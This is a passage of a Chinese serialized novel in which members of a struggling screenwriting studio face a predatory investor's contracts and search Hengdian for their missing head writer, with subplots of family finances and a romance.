曾倩的心都要跳停了,可大脑却骤然冷静下来,她发觉了沈董话里的许多模棱两可,“所以,你们都是猜测?猜什么?猜她背后的金主是何文谦?她是何文谦的小三、情妇?”
沈董从椅背上直起身,抬手撑脸架在了桌上,凑近了看她,“我知道她喜欢你什么了。”摸在脸边的食指一下一下敲着脸侧,她眼神充满好奇,像看一个新奇可爱的动物。曾倩逐渐感到不适,沈董发觉了,收回了姿态,重新靠在椅背上,冷淡道:“把你们换成他们。”
曾倩一愣,明白了她的意思,脑子里立时涌出大量头绪,突然就有一条线连通了,就像走那种连线五子棋,强烈的直觉逼迫她问出口,“你是故人?”
“对。”沈董一笑。
“什么故人?”曾倩追问。
“你来是问这个的?我的时间是有限的。”
曾倩看一眼天边,最后一丝晚霞就要消失了,才惊觉视线已经模糊,天台的灯便一盏盏亮了起来。
“你要什么条件才肯继续推进宣发?”
“你和杜华年解约,和我签约。”沈董的眼神里闪烁着幽亮的灯光。
“凭什么?”曾倩站起来。
“合同我会发到你的邮箱,你自己决定。”沈董站起来,走进了花房。小门打开,前台站在门内,冲着她做了一个请的手势。
曾倩泄气,大步离开。
还没走出大楼,沈董的邮件已经发到了邮箱。她只是匆匆看了一遍,已经十足感到了“杀人诛心”四个字的威力。
李雯一直发消息问她在哪,她直接回复让她现在就到家里来找她。
刘白又等在了她的家门口,旁边还有一个站在三步远处的李雯。
“真是你前男友?我不敢问,也不敢赶人。”李雯率先开口。
曾倩沉默地开门进屋,她满脑子都是合同、宣发、沈董,没有一点点兴趣接下李雯的话头。
刘白跟着进来,站在玄关,看着地上只剩下一双淡蓝色的女士拖鞋,没动。
李雯先发现了他的迟疑,“你光脚呗,看你袜子挺白挺干净的。”
刘白看了一眼曾倩,她只是放下包包,打开空调和窗户,房间里瞬间溢满了阳台飘来的花香。他微微叹口气,光着脚踩在了地板上。
“雯姐,你知道他们停了宣发吗?”曾倩在沙发上坐下,打开电脑。
“你不是去谈条件了?他们怎么说?”李雯坐过去,看见了她的新邮件,没一会儿,她低声骂了句娘,“趁火打劫!”
“沈董你认识吗?天地文化的沈董。”曾倩看着李雯,李雯摇头,“后来的流程都是你对接的,我只见过他们经理。”
“今天是我第二次见她,我总觉得,这个女人认识芳芳姐。”
“谁不认识你芳芳姐……女人?沈董是女人?”
“对,她今天说只要我和芳芳姐解绑,和她签约,就会继续宣发,并且保证以后的合作。”
李雯立即问,“那你说什么?”
“我问她是不是故人。她说是。就再不肯多说了。”
李雯心里和脑子一样乱,故人,什么故人?
刘白端着两碗白面过来,先往李雯手里递了一碗,再拿走曾倩怀里的电脑,把另一碗放在她手上,“你的厨房只剩这个了,我随便煮了点。”
然后他在一旁的凳子上坐下,开始翻看她的电脑,“过往合同有电子版吧?我看看。”
看着他如此不把自己当外人,曾倩和李雯都忘了反应,还是李雯先缓过来,“等等,这是机密,你不能看。”说着就要伸手去抢电脑。
“你们都要被卖了,还机密呢?”刘白懒得躲闪,直接翻过电脑屏幕,“
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自己看,战略合作合同里就有一条,甲方可以随时提出补充协议,只要不违背该合同精神,乙方无权提出反对。”
“这条我看过,因为不违背合同精神是一个有力限制条件,所以我觉得没问题。”李雯强势道。
“单看是没问题,可是他们在第二天立刻补充了一份协议,其中一条是:芳生工作室的核心成员任用需要得到甲方的同意。”刘白伸手虚指了指屏幕,“再加上今天这份合同,只要曾倩签了,她就同时是甲方聘用的员工,也是工作室的核心成员,相当于他们可以实际上同时控制曾倩和你们的工作室,到时候,工作室姓什么就不是你们说了算了。”
李雯傻了眼,但还是觉得可笑,“他们图什么呢?不宣发对他们也没好处啊!”
“有。”曾倩两眼发直,开口道:“好处就是,可以要挟我,因为她知道,我一定想要我的故事上映。”
李雯气得胸口起伏,她一瞬间怀念起了杜华年的谨慎,从前这么多年,她每每嘲笑杜华年非要一个字一个字去抠合同,简直是迂腐至极。主要是甲方不愉快了,还要她去哄。她现在才明白,为什么每次杜华年都会回她一句,“谁让咱们是乙方呢?”
曾倩却开始乖乖吃面,不知道在想什么。刘白看着她,眼神一瞬不瞬,似乎怕错过什么,李雯才注意到她不对劲,赶紧问,“倩呐,你不会是想签了它吧?”
曾倩翻她一个白眼,“我想签,还给你看?”李雯一噎,觉得自己小人之心了,低头摸摸鼻子。
“我是在想,我们还能怎么办。还有,这个沈董到底是谁?刘白说的没错,天地文化从一开始就在给我们下套,但她怎么可能算得到芳芳姐家里出事?一开始的合同,芳芳姐也是看过的,她……”
“你是说第一份吗?”刘白操作几下,调出另一份合同给她看,见她点头,接着说:“那就对了,这份合同是这里面最严谨的,如果不签后头那些,应该不会这样被动。”
曾倩一听,叹口气,面都几乎捧不住,“后头都是我签的!我……她到底想要什么?如果我们知道她的目的,或许就还有得谈。现在就要杀青,他们不做宣发,前头的投入打水漂就算了,最重要的是,我们没有新的项目可以上,很快,投资方会追违约金,我们会再一次……”
“好了好了……”见她越说越快,脸也涨红,刘白赶忙坐过去揽住她安抚,“深呼吸,不要提前想结果,你推断不到的。”他接过她手里剩下的半碗面,“你们那个华年姐还是芳芳姐呢?我看这件事是冲她来的。她去哪了?再不回来,家都被偷了。”
一语点醒李雯,“对,我们是该去找她了,无论如何,她也消失太久了。”李雯吃了一口面,虽然坨了些,但味道挺好,她又吃了一口,“说来说去,就是钱的事,我来想办法。”
曾倩往后倒进沙发里,抬手臂挡住了眼睛。刘白拿起她剩下的半碗面吃了起来。李雯瞧见了,“嘿,前男友,我看你挺不错,看紧点,她现在在剧组,可有人盯着呢。”
刘白看她一眼,继续吃面。曾倩闷头来一句,“说得好像你看男人的眼光很行似的。”
李雯想反驳,又觉得好像没什么能反驳的,也低头吃面。
曾倩突然坐直身子,转头看着刘白,“你怎么找到这里的?昨天是你把我手机调静音了?”
李雯一听调静音,忍不住睁大了眼,竖起耳朵。
“我从来不碰你的手机。”刘白面不改色继续喝汤。
曾倩寻思,难道是自己睡梦中把声音关掉了?昨夜喝了酒,也不是不可能……但看着刘白进出自己住处如此自然,心里不知哪来的气,“我们不是说清楚了?你还来纠缠我干嘛?”
刘白终于停下来看她一眼,那神色就像看个又傻又坏的负心汉。曾倩虽心虚,但也不示弱,回瞪着他。他漠然收回视线,收拾了碗筷,起身去了厨房,迅速收拾好餐具。最后离开时才说了句,“先别这么着急赶我走,或许,我日后有大用。”
这是李雯这阵子以来看到的最过瘾的戏了,她捉住曾倩穷追猛问,曾倩烦不胜烦,把她也往外推,叫她快点回去喂狗。
李雯被关在门外,曾倩靠在门内,二人同时长出一口气,各自又揣起各自的忧心事。
47. 魔幻走向
何芳芳放饭的剧组杀青了,一时间,她情绪十分低落。摸到慕华的组,见她正缩在女主角椅子后头改飞页。慕华余光瞥见一双腿,头也不抬,飞快地说:“我马上就好了,很快很快……”完全没发现来人是何芳芳。
何芳芳蹲下来,凑近看她改些什么。慕华背后一僵,停下笔,转头发现竟然是杜华年。“华年姐——唔。”何芳芳抬手捂住她嘴,眼睛不离飞页,“芳芳姐。”手拿开。慕华老实地跟着喊,“哦,芳芳姐。”
“你这写的什么烂七八糟的?”她念出来,“我是因为小时候被抛弃,所以有心理阴影,总觉得你也会抛弃我,才会那样对你的。我其实很爱你,但是我不知道怎么做才能让你开心,我没有安全感……yue!”她做了一个很夸张的呕吐动作,瞟着慕华。
换成慕华想要去捂她的嘴了,但她不敢,四处张望了一会儿,苦笑着,“姐哟,您是不用恰烂钱的,我不行啊!”她朝前方空椅子努嘴,用嘴型说:“要求的。”
何芳芳笑了笑,拿过她的本子,撕掉了这一页,拿过她的笔,唰唰唰写起来。空白稿纸上一列一列出现了洒脱的字迹,慕华跟着她笔尖,越看越佩服,眼珠子恨不得不用眨,不自禁念了起来,“我爸讨厌我,我妈恨我,我是自己长大的。饿了自己煮泡面,因为太矮,打翻了锅,烫出这个疤(伸手、拉起袖子),也只会哭,没钱治,现在就这么丑的样子。生病了自己熬过去,因为只要告诉我妈,她就会打我,她不想带我去医院,她不想为了我做任何事……你呢?你过的什么日子?你要我信你,我怎么信?(倔强凝视)……”
写满一整页,足足四段对话,她把笔和纸拍回慕华胸前,“就算是最恶心的活,也要认真干,你是写字的,不能敷衍自己的笔。”
慕华还在震惊中,她连大纲都没看,怎么知道人设?怎么就能写出这么贴切的对话?她不得不重新思考杜华年瞧不上自己这件事了,也许她是真不值得人家正眼瞧。
“拿着啊!你不想下工啦?我饿着呢。”
“哦哦。”她赶紧拿着飞页找后勤打印,打完了交给女主先看一遍,再给导演看一遍,过了。跑回来,背起包。何芳芳抬腿就走,她跟上去,纠结了半天,问,“姐,你真的来找我吃饭?”
何芳芳白她一眼,“上回我不是说了?你现在没空?”
“不不,我有空。就是,我以为你说说而已。”
何芳芳停下来,看看她,又接着走,“慕华,我恰过的烂钱比你这个烂多了。听说过厉害的演员吗?片烂戏不烂,叫实力。我们也一样,人设再烂,故事再烂,台词不能烂。一样的意思,话可以这样说,也可以那样说,这点权力至少还在我们编剧手上,你不能自己先放弃。”
慕华亦步亦趋跟着她的脚步,面上愣着,心里暖乎乎的,她漂泊这么多年,第一次听到如此真诚的劝诫,就像是她的亲人,不愿她沉沦。
何芳芳在江边挑了一家烧烤摊坐下,点了几样,把菜单给慕华,慕华看了半天没出一声,她烦了,拿回来又点了几样。慕华忐忑着,还是问了,“芳芳姐,你为什么突然对我这么好?”
“这就叫好了?”
慕华抿抿嘴,“你之前……那么恨我……”
“我不恨你慕华。”何芳芳觉得真费劲,“我只是不能表现出仁慈。在这个圈子里,仁慈是软弱,我对你这个人没有什么感觉,但是我对你做的事,不能没有感觉。你根本不懂这里的规则,你就想往里闯,你是真有胆量。”她意味深长地看着她。
菜上齐了,还有一锅热腾腾的粥。何芳芳先给她盛了一碗。慕华看着她,不由自主地问出来,“那你为什么用我,用我又为什么骗我?现在干嘛又帮我?”
看她迷途难返的样子,何芳芳一哂,“自己想。”
被噎回来,慕华只能喝粥,不时偷看何芳芳。她吃得很快,几乎不会发出声响,一口一口不停,两碗粥、半手牛肉、大半碟青菜就都进了她肚子。老板又摆上来两瓶啤酒、两个杯子,她拿过酒瓶放在肚子边,启瓶器一扣一掀,“吥”一声开了,倒了两杯,给慕华递过来,她自己先喝了半杯。
慕华惊叹,“还喝酒啊?”
何芳芳擦了嘴,点了支烟,又给自己杯子里倒满,往她酒杯一碰,“我今天杀青,喝点。”
慕华小小抿了一口酒,感叹她这饭吃得像个男人,自己一碗粥都还没喝完呢。何芳芳也不理她,自顾自抽烟喝酒,不再吃菜了。胃里满了起来,慕华逐渐放松了,想起这两天的热搜,“姐,这几天我看热搜,好像有人故意撤工作室的词条。”
“嗯,都说了些什么?”何芳芳望着江水。
慕华看她如此闲散的态度,惊奇了,“你不知道?不是你操作的?”她凌乱了片刻,反应过来了,“那你还在这里干什么?有人要搞你工作室啊!”
何芳芳斜过来些眼神,“你倒是挺关注,宣发了吗?”
“没有咧,杀青的热搜都老被撤咧!”慕华觉得太魔幻了:她自己的片子什么进度,居然还要我来告诉她?!
真要找起人来的时候,李雯才发现何芳芳已经不知所踪了。现代人都有个毛病,以为留着电话在手机里,总不能失散,可实际上,失散,从来都是从心里开始的。
人不在老家,也没回南京,电话也不接,信息也不回,又不敢问她老娘,更没有她小姑姑的联系方式。李雯才发觉,她对何芳芳的了解,只有这么点。
于是李雯拿出了老办法,花了点钱,请了私家侦探去找人,怕一个不够,请了三个。
电影总是要挽救的,李雯又花了点钱,天天买热搜。曾倩把她卖房子的钱也拿出来,李雯一算,撑死了买半个月的。
可只要热搜上出现芳生工作室相关消息,很快就会被撤下来,猜都不用猜,是沈董花钱天天等着她们,这边买,那边就撤。
其他资方却没有丝毫动静,既不关心电影宣发,也不担心钱打水漂,那么只有一个解释——沈董已经把他们都买走了。
这是联手要围剿芳生工作室。
蝉鸣悠远响亮,高大的法桐被照耀得金光灿灿,南京就要进入最熬人的盛夏了。李雯随意在路边树下长椅上坐下,看着往来的车与人,第一次感到人生的飘摇,一声一声的蝉,叫得她恍惚。沈董的车就在这时停在了她面前。
一个穿着雪白鱼尾裙的女人走了下来,坐在李雯身旁,她取下墨镜,点了一支烟,“你好,李雯,我是天地文化的沈董。”
李雯斜眼看她,“怎么,没等到我去找你,你先来找我了?要耗光我的钱,你还得再等等。”
沈董轻笑,“你的钱是从你母亲那里来的,你用完了,她还会再给吗?”
李雯转身盯着她。
“这有什么奇怪?你可以找人调查我,我不会吗?”沈荷目视前方,清淡地说。
“你到底想干什么?我们是合作关系,你逼我们上绝路,对你有什么好处?”
“我想要芳生工作室。”
“你做梦!”“我知道。”
二人同时开口,李雯盯着她。沈董终于转过头来,对她说:“我知道你不会同意。我可以给你钱,只要你能证明芳生工作室在你们手上,比在我手上更好,我就放弃。我也很想知道,没有了杜华年,你们还能做什么?”
李雯彻底迷惑了,她费解地看着她。沈董轻笑着掐了烟,车门开了,下来一个女秘书,递过来一份文件。“这是对赌协议,你只要让杜华年再拿出一个剧本,我就立刻恢复宣发,还另外追
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加一千万的投资;拿不出来,工作室就是我的了。你敢不敢签?”
李雯的心在地表四十度的夏天,摔进了冰窟窿里,凉了个透。原来,原来她在这儿等着我!她娘的,她怎么知道老杜江郎才尽了?
对,她是故人,杜华年的故人。该死的杜华年,到底还有多少故人?
“你那头要曾倩签新合同,这头要跟我签对赌,你知不知道这两个事情是相反的?”李雯没办法,她只能虚晃一枪,掩饰自己的心虚。
“别撑了,你我都清楚,这是同一件事。”沈董戴上墨镜,走回了车上。
李雯望着车走远,摸了一遍身上的兜,最后妥协地拿出手机,打电话给宋林,“你给我带包烟来。”
宋林很快到了,他在街对面看见她,穿着纯白的衬衣,蓝色的牛仔裤,齐肩的头发没有烫成爆炸的卷发,柔顺地垂下来,脸上也没有以往的浓妆,阳光从树影间斑驳下来,照在她半边脸上,白得发光。她就像当初闯进他画室的时候一样,宋林又想把她画下来,但李雯却看见了他,“你过来呀!干嘛呢?”
宋林被她一嗓子拉回了现实,他走过去坐在她身边。李雯调出一张相片给他看,是一张银行流水图,其中一行条目用红笔圈了出来。
“你再往后划,每一页上面都有一条,我查过了,每三个月,我妈的账户就会有一笔同样数目的转入,然后在下一个月又会有一笔同样数目的转出。我还查到了转入和转出账户,都是相同的两个,但和那个小白脸无关。而且,转入的账户是对公户头,转出却是私人账户。”
宋林听明白了,“阿姨没发现吗?”
“她肯定是知情的,对公账户我查过了,是我爸的一个子公司,没什么存在感,我猜是空壳。”
宋林对这个套路很熟悉,脱口而出,“查了交易备注吗?”
“艺术品买卖。”李雯意味深长地看着他。
宋林是开画室,他很清楚,画作是最好用来洗钱的,“你怀疑你爸……”
“对,之前为了拿一千万,我不止查出了我妈的小白脸,还查出了这个,”她敲敲屏幕,“转出的私人账户是东海集团的财务总监的,这个女人肯定不简单,她一定有全部的流水证据。”
宋林想通了她的意图,惊呆了,“你要举报你爸?”
“不,我要敲他竹杠。这个沈董是个疯批,工作室要想摆脱他,必须有更多的钱,我那一千万有点紧张。”
“那你找我来是想……”
“你帮我去联系她,”李雯又调出一张女人相片,“我要先去找老杜,但时间不等人,沈疯批刚才已经找过我了。而且我是李东海的女儿,我怕这个财务不信我,但你不同,你的人设正好,一个想从富二代女朋友家里捞钱的画廊老板,有可信度。”她吊着眉毛说完,看见宋林紧蹙的眉头,缓下一点情绪,放软了声音说:“宋林,我知道这个要求有点过分,但我现在真的没有别人可以依靠了,你帮帮我。”
宋林觉得李雯这样下去不行,“如果真的是有偷漏税洗黑钱,你找到了证据,那就不是道德问题了,是法律问题了。雯雯,我们别较劲了,杜华年她都不管自己的工作室了,你也别管了吧,我们拿着一千万去旅游吧,先去欧洲,玩个半年……”
“谁说这是她的工作室?这是我的,最开始也是我的,她二十五岁的时候,除了名声,有什么?穷光蛋一个,是我投的本钱,工作室是我的心血,她也是我看中的。宋林,为什么你也要我做一个废物呢?是,我是废物,可是我不甘心做废物啊,这个工作室存在,就是证据。我不能让它没了。你不想帮我就算了,当我们今天没见过。”
李雯拿起包就走,宋林赶紧拽住她,“好好好,你别生气。我帮你,帮你还不行吗?”
48. 古装剧困境
李雯走了,宋林甚至没能和她吃个午饭。他仍旧坐在路边长椅上,望着头顶的梧桐叶,沈董的车再一次开到了这个路边。
鱼尾裙走了下来,坐在宋林旁边,“听我的吧,把你知道的都告诉我。”
宋林起身要走。“为什么所有女人都选择事业而不选择你呢?”鱼尾裙幽幽开口。宋林走不动了,他转头俯视她,“这该你告诉我呀,你不是也选事业吗?”鱼尾裙看着他泛红的眼睛,“你看看,你现在这个样子,很像小学生受委屈。宋林,你帮我,我得到了芳生工作室,李雯就痛苦,她痛苦了,你去安慰她,她才真的觉得你重要,一味迁就女人,是不行的。”
宋林握紧了双手,“她不是你。”
“可我们都是女人。”鱼尾裙双手抱胸,“不如你试试看,在你和钱之间,她会选什么?”
宋林忍不住了,“我不做这种试探,我没你们这么冷血自私。”他气冲冲地走了。鱼尾裙却摇摇头,“还是天真。”
第二天,李雯在街头落魄地与沈董交接文件的高清大图上了头条,词条热度涨得很疯。一瞬间,芳生工作室又成为了风浪中心随时能翻的小船。
曾倩在画室找到李雯,气势汹汹劈头就骂,“你先做叛徒了?”
李雯瞪她一眼,“这么容易就能骗你,我算知道那些不利的协议是怎么哄你签下来的了。”
曾倩怒火烧心,她本来就内疚,李雯当众戳她肺管子,她啪一声把包包砸在一旁的画架上,“我第一时间就把沈董的合同给你看了,你呢?今天不看热搜,我都不知道你背地里偷偷卖了什么给她!”
李雯看着这个无法无天的小辈,想起这么多年来自己看杜华年的脸色,现在杜华年教出一个徒弟,竟然也敢给她脸色,她随手往桌上一抓,没看清抓了什么就往曾倩身上挥去,五彩斑斓的颜料瞬间在空中划出一道彩虹,哗啦一下,全泼在了曾倩身上,她自己的手也琳琅七彩。
宋林过来拉人,曾倩脸上也都是油墨,她伸手一抹放在眼前一看,彻底失去了理智,哭着疯喊咒骂,李雯也句句带脏,画板后头的林见月终于忍无可忍,大吼一句,“这个破工作室要完了!都收拾包袱回家!”说着果然抄起自己的小背包,头也不回地出了门。
毫无意外,下午的热搜就换成了芳生工作室内讧,主画师出走。
傍晚时分,工作室外挂上了一把大锁,院子里甚至飘洒下来无数落叶,地上、石凳上、石桌上,零零碎碎,稀稀拉拉,盛夏里,显出一派西风萧条来。
小区楼下,曾倩戴着墨镜黑口罩鸭舌帽,裹了一身防晒服,躲在树下阴影里,鬼鬼祟祟伸头张望。大约过了十分钟,天又暗了些,天边云蒸霞蔚,一辆黑车从楼后头转出来,驾驶座上一个女子,也戴着大墨镜黑口罩鸭舌帽,将车鬼鬼祟祟停在了树下,曾倩以最快速度上了车,车子又鬼鬼祟祟往小区外头开。
正开到路口,刘白一身白体恤蓝长裤,站在路边十分显眼,他走到路中央拦车。车子只能停下来,他走到驾驶座旁敲窗,窗子降下一条缝,他往后座瞥了一眼,“天都要黑了,你们在车上还穿成这样,不是更显眼吗?”
刘白皱着眉头,驾驶座上的女人回头看了看曾倩,最后让刘白上了车。
“你怎么知道我们在演戏?”李雯单手握着方向盘,一手摘了帽子口罩。
刘白坐在副驾驶座,“戏太假了。还有那个画画的女孩走出去的照片,那么近,摄影师就差蹲到她面前了,一看就是精心安排的。你们要干嘛?躲什么?还特地换辆车。”
“我们要去找她。”曾倩冷不丁从后座飘过来一句话,同样冷不丁的,一只圆滚滚的狗头从后头伸过来,往刘白手肘处闻闻嗅嗅,进而又往他怀里凑。刘白一愣,随即微笑着伸出双手去搓狗的毛头。
“她最后出现的地方在横店,我一想,也像她会干的事。”李雯接过话头,“但是具体在横店哪里,还没找到。我们也等不了了,烧钱又烧不赢,还不如只顾一头。他们不是想看我们落魄么?那我们索性就落魄到底,给他们看个够。”
不得不说,这也算是个既潦草又仓促的好点子,刘白想了想,说:“我跟你们去。”
曾倩又飘来声音,“你没事做吗?不用实习?学校那边呢?你们专业要做毕设的吧?”
刘白又静默了几秒,“我说过,我会有大用处的,你们带着我没坏处。”
“刘白,你怎么……”曾倩语气暴躁起来。
“算了阿倩,”李雯赶紧打断她“咱现在这么狼狈,多一个人愿意跟着咱,总不是坏事。”
“那宋林要跟着你,你怎么死活不同意,还怕他发现,非要鬼鬼祟祟跑路?”曾倩立即调转火力。
“那不一样。沈董找人查我,肯定知道宋林,但刘白藏得深,估计她还没发现他。”
“你估计?”曾倩继续输出。刘白幽幽开口,“一会儿我跟你换,你和小倩在后头休息一阵子,到服务区我喊你们吃饭。”
他语气独有一种清幽,送进两人耳朵里,顺利让她们感到了汹涌的困意。两人都打算偃旗息鼓,毕竟今天已经演了一场戏,实在太耗费精力。上了高速,刘白开车,李雯和曾倩在后头,与猫猫睡成了一片。
到服务区的时候,两人还睡得迷迷糊糊,刘白便没停,一口气把车开到了横店。在酒店安顿好,已近午夜,三人饥肠辘辘,跑到步行街上找东西吃。
热闹已经散去,夜晚,街头粗糙的繁华开始寥落。三人找了个还算干净的巷口烧烤摊。夜里凉风四起,燥热退了大半。曾倩坐在矮桌边,一手撑着头,看着街景,夜色浓厚,但浓厚的,似乎不只是夜色,这个小城市给人一种说不出来的混乱复杂,时空在这里有些扭曲。可能是因为在这里上演的古装剧太多了?她这样想,然后被自己的想法逗笑了。
“想什么呢?”刘白给她递过来一碗西瓜,自己却从兜里摸出一包烟,走到了下风向。曾倩瞧着他熟练地挑出一支,点上,吸了一口,烟从他周身飘散开来,同时把打火机放回了兜里,手再抬起来把烟从嘴里拿下来,垂在一边,目光看着街道,不知道在想什么。
“你还挺喜欢他,干嘛分手?”李雯一直看着他俩。
“芳芳姐不是跟你讲过?”曾倩低头吃西瓜。
“她没说原因,只说年轻人都这样。”
“我也不知道,那时候觉得跟他越来越不是一路人了。可是现在……”
“现在又觉得是了?”李雯笑了,“看得出来,他被你折磨得挺惨。”
“我没折磨他。”曾倩急了。
“你可别说了,这孩子一看就是受伤不轻,那脸上全是被姑娘莫名其妙甩了的苦闷。我敢打赌,他原来一定不是这种性格,这么阴郁。”
阴郁?算不上,但低落是有的,李雯虽然夸张,但提醒了曾倩,刘白的底色似乎都变了,从白色变成了蓝色。
曾倩站起来走过去,停在刘白边上,“你什么时候学会抽烟了?”
“分手以后。”刘白也很直白。
“给我也来一支。”她伸手要。
“女孩子抽什么烟。”他不给。
“我试试,何芳芳就老抽烟。我想知道她的感觉是什么样的。”
刘白转头看着她,眼中很多情绪,神色却仍没有波澜,“你先试一口吧,受得了再说。”他把自己还剩半截的烟递给她。
曾倩看了一眼,还是接过来,吸了一口,立马呛得一通猛咳,脸色涨得通红,整条气管到鼻腔都像被锯齿拉了一条新鲜的口子,还在口子上不停地撒盐。那痛感灼烧五脏,真是一绝,她本能弯下腰去,干呕起来。
刘白赶忙揽住她,一手给她顺气,一手接回了烟,还不忘呛她一句,“知道什么感觉了?”曾倩气得瞪他,却发现他一脸心疼忧虑,瞬间又咳了起来。正巧路过一个提篮子卖果汁的小女孩,刘白顺手拦下来,买了一瓶西瓜汁,让她漱口。
好不容易缓过来一些,曾倩沙哑开口控诉,“妈的,这玩意儿太他妈难吃了!这么疼,你们怎么这么爱抽?何芳芳恨不得一天一包,她不疼吗?”
刘白幽幽来一句,“就是比起来不算疼,所以才爱抽。”
曾倩正要骂他说胡话,却突然明白了他比的是什么,一瞬间,望着刘白出神。
她不知道,她看刘白变了,刘白看她也变了,她现在和杜华年越来越像了。
菜已经上齐了,李雯在后头看戏,正起劲,突然收到一条微信,是沈董发来的:你的钱还够吗?她立马把手机翻过来丢在桌上,情绪骤然坏到极点,看着满桌菜也没了胃口,赶紧叫他们回来吃饭。
三人都饿坏了,先狼吞虎咽吃了好一会儿,才缓下来,喝水的喝水,喝西瓜汁的喝西瓜汁。
刘白问了一句,“我们去哪找杜华年?”
“这是她最近的照片。”李雯从包里拿出一叠相片,都是偷拍角度,画面上一个绾发女人混在人群里,四周是混乱的剧组道具和奇装异服的群演,除了她在画面中心,其余看不出一点独特。刘白再问,“你怎么知道这个是她?”
李雯翻出底下一张超长焦特写,拍到了清晰的上半身正面,确实是杜华年,只不过素面朝天,脸色苍白。刘白还是认得出,这确实是那个在雪夜与他们喝酒吃火锅,最后送他出门的杜华年。他回想起那时候,自己满心热烈,脑子里半点想不明白一个自己深爱的女孩为何如此绝情,他抬头瞥一眼曾倩,曾倩正看着相片出神。那时候,小倩还是长发,他想,那时候,杜华年是一个充满智慧与历练的前辈,可这张相片上的杜华年,却只是一个落魄的大龄女人,颓丧又灰败。刘白蹙起眉头,问,“她怎么了?我印象里她不是这样的。”
“你不知道?”李雯惊奇了,她来回在曾倩和刘白脸上看。
曾倩也奇怪,这世上还有人不知道杜华年和何文谦的关系?就算不知道他们是父女,也该知道他们关系匪浅,于是她侧目看着刘白,“何文谦病逝你知道吗?”
“知道,这和杜华年有什么关系……”还没问完,他突然明白了,“噢,原来她……”李雯和曾倩都点点头。刘白也沉默下来,没一会儿他又问,“虽然这么年轻就没了爹,确实令人悲伤,可也不至于连自己的工作都不管了吧?工作室不是她的心血吗?”
曾倩和李雯都叹了口气。还是李雯开口,“不是奔丧这么简单,她叫何芳芳,但她偏不用这个名字,你说她和她爹的关系怎么样?”
刘白继续提出问题,“横店说大不大,说小也不小,她也不一定就用何芳芳或者杜华年这两个名字,那么多剧组,去哪里找她?现代人找朋友,竟然像古人那么难?”
这句话一落下,三人仿佛陷入了一种古装剧困境,既不能用现代手段,又不适应古代的煎熬。
这时一个年轻女孩儿坐了过来,就挤在桌边,“你们要找的人叫芳芳?”
三人吓了一跳,警惕地看着她,这姑娘长得还挺好,皮肤细白,鹅蛋脸,扎个高马尾,笑起来眼睛弯弯的。
“你们别怕,我是隔壁桌的,我刚才听你们说要找芳芳,我认识一个芳芳,不知道是不是你们要找的。”
三人眼里都是一亮,曾倩直接脱口而出,“她在哪?”
这姑娘正是宁晓枫,上部戏杀青了,她现在又混到另一个组,但只混到了个女明星替身的差事。刚下戏,和小群演们宵夜来了。
她们那桌人多,于是宁晓枫做主把曾倩三人的桌子并了过去,聊起了何芳芳在剧组做后勤的趣事。
李雯瞧了一眼,都是女孩儿,心想这姑娘看来还算干净,但我们刚才聊了那么多,也不知道这个宁晓枫会不会是偷听到了何芳芳就是杜华年,所以才来套这个近乎。
宁晓枫在李雯身旁坐下,再一次滔滔不绝地讲述起那场骑马夜戏。曾倩很认真地听,眉头紧锁,细细思索着。对李雯来说,这场宁晓枫再三回味的夜戏不过是何芳芳按耐不住才华的偶一为之,没什么可稀奇的,她心不在焉地听着
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,心里盘算着目前的局面。
午夜将至,散场时,宁晓枫对李雯说:“姐,你放心,明天我就替你打听,一有消息我就通知你。”
今夜注定无眠,李雯没有开灯,房间黑黢黢的。头先路过了一家便利店,曾倩进去挑零食,刘白跟着进去了,她站在门口等,顺手在柜台买了一包烟。
从阳台望出去,是远处同样黑黢黢的连山。这座因戏而生的小城,被包围在中心,那些本不算高大的丘陵小山,对于横店来说,却是冲破不开的守卫。
人躲在黑暗里会有一种安全感,她骤然怀念起这种久违的美好,烟抽到第三支,她打电话给宋林,“怎么样了?”
宋林听她声音喑哑,不答反问,“你嗓子怎么了?”
“太久不抽烟,一下子不习惯了。”
“怎么……”宋林很意外,也不能怪他,他认识李雯的时候,李雯早就戒了烟几年了。他很快收敛了自己的惊讶和差点出口的责备,“我和她见面了,她似乎知道我的目的,直接承认帮李东海偷税漏税,她也有证据,但她要一千万,才肯给我们。”
李雯沉默了,她连骂娘的力气都没了,只顾凶猛地吸烟。
“雯雯,算了吧,她怎么正好就要一千万?就好像知道你刚好有这么多,我觉得很危险。”
“你犯什么傻?”李雯骤然暴躁,看一眼旁边的阳台,那是曾倩的房间,她转身回到屋内,关好了落地窗才继续,“这种女人,不图名分,不图权力,那就肯定是图钱!她是要拿钱跑路。你去跟她说,钱没问题,但是一手交钱一手交货。”
宋林觉得自己不是在谈恋爱,而是在做特务,“你什么时候回来?我怕她一定要见你。”
“她猜到的,还是你告诉她的?”
“她猜到的。”
李雯叹口气,“我尽快吧,总要看一眼老杜我才放心。”
挂了电话,李雯心头有愧,宋林既不是工作室员工,也不是那些只图她身份的渣男,对她言听计从到这个份上,不正是她一直想要的男朋友么?可为什么她却感到没那么喜欢了?至少此刻在她心里,杜华年这个渣女,反而才是最重要的了。她觉得这个问题再想下去就可怕了,于是她就不想了。
宋林拿着手机,听着里头还在传来挂断的声音,站在梧桐树下轻轻叹气。身后走过来一条墨绿色的鱼尾裙,在路灯下有点像幽灵,“你真的打算这么做?这么做违法你知道么?如果你把证据给李雯,那她拿去敲诈勒索,也违法。你爱她,就是帮她干违法的事?”
宋林转身怒吼,“我叫你不要跟着我!”
曾倩洗了澡,坐在沙发里吃薯片,神情木讷,眼神空洞,手机放在茶几上,屏幕亮着,是沈荷发给她的合同。听到宁晓枫眉飞色舞地讲起那场夜戏时,她脑子里第一个出现的,就是沈荷一脸野心对她说:“和杜华年解绑,我来捧你。”
路过便利店时,她觉得自己需要很多垃圾食品,于是二话不说扎了进去。她以为何芳芳过着不人不鬼的日子,生命里骤然的打击总是容易将人折磨至面目全非,她甚至做好了接受她的任何一种样子。可是宁晓枫的眼睛里,是全然的仰慕,那种赞美和喜爱,既像她母亲,又像她自己,突然的,她就觉得自己很可笑了。
我竟然觉得我可以同情她?哈哈!是我忘了,她可是杜华年。即便如此落魄,只要随随便便露一手,就能收获一个迷妹。
她蓦然想起在老家,杜华年反问她那句,“怎么?我应该每日酗酒,颓成一滩烂泥,才配得上江郎才尽的人设?”
是这样说的吗?大概吧,反正语气只能更嚣张。
曾倩觉得自己是真的太可笑了。
刘白了解曾倩,今夜宁晓枫冒出来以后,她就开始不对劲了,他没去听那场热闹的夜戏,只是专注地看着曾倩的反应,直到她在便利店疯狂扫货,他心里确定了他的答案。
思量再三,刘白去隔壁敲门,曾倩磨蹭了很久才开,“这么晚了你干嘛?”
